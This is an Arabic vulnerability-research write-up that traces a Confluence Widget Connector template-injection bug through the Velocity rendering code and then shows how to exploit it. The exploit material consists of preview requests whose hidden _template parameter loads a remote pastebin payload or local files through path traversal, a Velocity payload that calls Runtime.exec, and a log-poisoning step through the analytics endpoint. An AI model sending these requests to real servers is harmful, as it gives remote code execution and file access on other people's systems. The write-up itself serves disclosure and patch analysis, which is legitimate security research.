
حقن القوالب غير المصرح به في Confluence
confluence.home إلى عنوان confluence home في الملف ./confluence/WEB-INF/classes/confluence-init.propertiesCATALINA_OPTS حتى يتمكن البرنامج من العمل في وضع التصحيح عن بُعد (remote debug)في نظام ويندوز، الملف ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
في نظام لينكس، الملف ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM DebughostportCommand line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
نحتاج إلى إضافة حزم jar التالية: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar إلى lib حتى نتمكن عند التصحيح من رؤية الكود المصدري اللازم.
نقوم بتشغيل الملف ./bin/start-confluence.bat ويمكنكم الاطلاع على هذا الدليل لتثبيته من الكود المصدري.
بعد قراءة الوصف، يمكننا معرفة أن هذا الخطأ يبدأ من ميزة Widget Connector، لذلك قمت بالبحث فورًا لمعرفة ما هي هذه الميزة وكيفية استخدامها:
ادخل إلى تحرير صفحة

اختر Other macros
اختر Widget connector

قمت باختيار بعض القيم عشوائيًا ثم ضغطت على preview، وبعدها انتقلت إلى burp لأرى ما إذا كان هناك شيء مثير.

في هذه الحزمة، لاحظت وجود معامل "pluginKey":"com.atlassian.confluence.extra.widgetconnector"، لذلك خمنت أن ميزة Widget Connector معرفة في الكلاس com.atlassian.confluence.extra.widgetconnector، وبالتالي بحثت في المسار لمعرفة ما إذا كانت هناك حزمة jar مشبوهة.

جرّبت إضافة الملف ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar إلى lib الخاص بالمشروع حتى أتمكن من قراءة الكود المصدري وتصحيحه.
طريقة إضافة ملف jar إلى lib
عند فتح حزمة widgetconnector لفت انتباهي الكلاس WidgetMacro، لذلك وضعت نقطة توقف (breakpoint) في المُنشئ ودالة execute لهذا الكلاس لمعرفة ما إذا كان يتم استدعاؤه عند استخدام ميزة Preview 🕵️

تم استدعاء دالة execute، ثم استدعى البرنامج DefaultRenderManager.getEmbeddedHtml

لاحظنا أنه للوصول إلى داخل if نحتاج إلى تحقيق الشرط widgetRenderer.matches(url). نقوم بفحص دالة widgetRenderer.matches(url) في الكلاس YoutubeRenderer


لذلك أحتاج إلى جعل المعامل url مسارًا لفيديو على youtube (أو Vimeo, Twitter, ...). قمت بتعيين url كرابط لأي فيديو على youtube، وقد دخل البرنامج إلى جملة if ثم استدعى الدالة widgetRenderer.getEmbeddedHtml(url, params) (الكلاس YoutubeRenderer)

انتقل البرنامج إلى الدالة setDefaultParam وهنا لاحظنا معاملًا مخفيًا _template يبدو مشبوهًا :)

بعد الخروج من الدالة setDefaultParam، استدعى البرنامج الدالة DefaultVelocityRenderService.render

ثم المتابعة عبر الدالة getRenderedTemplate و VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


ثم إلى VelocityUtils.getRenderedTemplate(String templateName, Context context) و getRenderedTemplateWithoutSwallowingErrors(templateName, context)

الدالة renderTemplateWithoutSwallowingErrors

استدعى البرنامج الدالة getTemplate ثم VelocityEngine.getTemplate و RuntimeInstance.getTemplate، وهنا نرى أن البرنامج يستدعي الدالة getResource بمُدخل هو قيمة المعامل _template. في Java، يمكن استخدام الدالة getResource لتحميل مورد من ملف محلي أو من ملف على الإنترنت (عبر بروتوكول HTTP).
توقفنا للتفكير: هل يسمح هذا للمهاجم بإدخال قالب (من الخادم المحلي أو من مضيف المهاجم) إلى البرنامج عن طريق إضافة معامل _template إلى الطلب؟؟

نواصل التتبع بالعكس لمعرفة كيفية معالجة البرنامج للقالب بعد الحصول عليه:
بعد الحصول على القالب، استدعى البرنامج الدالة VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

ثم بعد ذلك إلى template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render، وهذه الدالة تستخدم قالب Velocity لتحليل القالب. حتى هنا يمكننا أن نرى أنه يمكن كتابة PoC لـ RCE:حزمة طلب POST عند طلب ميزة Preview
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
ملف الحمولة
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
وهكذا نجحنا في إعادة إنتاج هذا الخطأ، لكن في حالة كان الهدف خادمًا يحظر الاتصالات الصادرة (outbound)، فلن يتمكن المهاجم من جلب الموارد من الإنترنت، بل يمكنه فقط جلب الموارد من الملفات المحلية على الخادم.
تلقيت تلميحًا بأن المستخدم يمكنه بطريقة ما حقن حمولة في ملف السجل. كانت فكرة جيدة، لذلك بدأت أفكر بجدية في طريقة للقيام بذلك.

POST /rest/analytics/1.0/publish/bulk ترسل بعض القيم key-value كما هو موضح أعلاه.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming يمكن تعديلها بحرية مع بقائها تُسجل في السجل
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
في إصدار التصحيح (patch)، تمت إضافة دالة doSanitizeParameters إلى الكلاس WidgetMacro لحذف المعامل "_template" قبل استدعاء renderManager.getEmbeddedHtml(url, parameters);
